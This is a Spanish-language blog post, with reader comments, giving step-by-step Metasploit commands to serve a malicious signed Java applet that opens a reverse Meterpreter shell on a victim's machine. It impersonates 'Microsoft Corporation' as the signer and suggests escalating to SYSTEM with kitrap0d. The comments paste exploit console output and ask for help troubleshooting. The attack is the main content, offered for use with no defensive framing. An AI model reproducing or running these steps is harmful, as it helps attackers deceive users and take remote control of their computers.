sábado, 30 de enero de 2010

Ingeniería Social con Applets firmados de Java en MetaSploit

En el episodio 185 de PaulDotCom, Carlos Perez explicó como utilizar un nuevo módulo para MetaSploit escrito por Natron, que nos permite crear applets firmados de Java con un payload malicioso.

Lo estuve probando y funciona muy bien, lo único a tener en cuenta es que la víctima debe tener instalado JRE previamente, luego es solo un ataque de ingeniería social, ya que no estamos explotando ninguna vulnerabilidad en un software.

Esta todo muy bien explicado en las notas técnicas del webcast, pero les dejo un resumen de los comandos a continuación:

Antes de llegar a MetaSploit, primero debemos instalar algunas librerías en BackTrack:

# Instalamos Sun Java JDK
apt-get install sun-java6-jdk

# Configuramos Sun Java JDK
echo "JAVA_HOME=/usr/lib/jvm/java-6-sun" >> /etc/bash.bashrc
echo "export JAVA_HOME" >> /etc/bash.bashrc
JAVA_HOME=/usr/lib/jvm/java-6-sun
export JAVA_HOME

# Instalamos la rjb gem
gem install rjb

Luego actualizamos MetaSploit ya que el módulo es muy reciente:

cd /pentest/exploits/framework3
svn update

Lo que vamos a hacer a continuación, es levantar un servidor Web malicioso, que cuando a alguien se conecte a la URL "http://IP_Atacante/kungfoosion", le entregue un applet de java firmado por quien nosotros queramos, y si el usuario decide aceptarlo, ese código se ejecutará en su sistema y vamos a obtener una shell de meterpreter.

El servidor Web lo levantamos en el puerto 80, con "SRVPORT", y escuchamos la conexión reversa de la víctima en el puerto 443, con "LPORT". Con la opción "CERTCN", indicamos por quien va a estar firmado el applet:

./msfconsole
use exploit/multi/browser/java_signed_applet
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.168.0.157
set LPORT 443
set TARGET 1
set URIPATH kungfoosion
set SRVPORT 80
set CERCN Microsoft Corporation
exploit

Una vez que el usuario ingresa a "http://10.168.0.157/kungfoosion", si no posee JRE instalado, le aparecerá la siguiente advertencia en Firefox, preguntándole si lo desea instalar:


Si ya tiene JRE instalado, simplemente le preguntara a la Víctima si confia en el applet de ese website:


Una vez que estamos en meterpreter, podemos utilizar todos los comandos que este nos provee, si usamos "getuid" vamos a ver que estamos corriendo con los privilegios de "Administrador". Ahora, si nos ponemos golosos, también podríamos escalar privilegios a SYSTEM ejecutando "run kitrap0d", el reciente exploit local para Windows de 17 años de antigüedad:


Eso es todo, muy divertido para una tarde de Sábado :)


FUENTE:
- PaulDotCom Episode 185

3 comentarios:

Mauro dijo...

Hola leonardo, mi nombre es mauro y aunque se que este post es viejo y no quería joder preguntando en algo que se publicó hace tanto pero no encontré nada en google, así que espero que me puedas tirar alguna idea del siguiente error que me ocurre, seguí los pasos de este y todos funcionaron correctamente, pero al momento de explotar la vulnerabilidad obtengo lo siguiente:

[*] Handling request from 192.168.1.101:43864...
[*] Generated executable to drop (161 bytes).
[*] Compiling applet classes...
[*] Compile completed. Building jar file...
[*] Jar built. Signing...
[*] Jar signed. Ready to send.
[*] Sending SiteLoader.jar to 192.168.1.101:43867. Waiting for user to click 'accept'...
[*] Sending SiteLoader.jar to 192.168.1.101:43867. Waiting for user to click 'accept'...
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1363968 bytes) to 192.168.1.101
[*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.101:38229) at Wed Oct 20 07:35:21 -0300 2010
Fallo de segmentación

la verdad que lo probé contra una virtual de XP sp3 y contra mi linux y pasa lo mismo, parece que es un error del metasploit de que se me pasara el tamaño del buffer del payload pero no puedo encontrar solución, saludos y espero tu respuesta.

mauro dijo...

Leo me olvide de agregar que el fallo ocurre cuando seteo todo lo que tiene que ver con el class path de JAVA, a partir del cual comienza a fallar metasploit,al punto de que tengo que reiniciar mi maquina y al hacer esto se pierde lo que puse antes y funciona pero sin poder configurar las opciones como CERTCN.saludos

(Sin Nombre) dijo...

buenos días

me llamo oscar david

tengo un problema al ejecutar el exploit sale este error


[-] JVM not initialized. You must install the Java Development Kit, the rjb ruby gem, and set the $JAVA_HOME variable.
[-] Falling back to static signed applet. This exploit will still work, but the CERTCN and APPLETNAME variables will be ignored.

algo que este haciendo mal?? :S

gracias

LinkWithin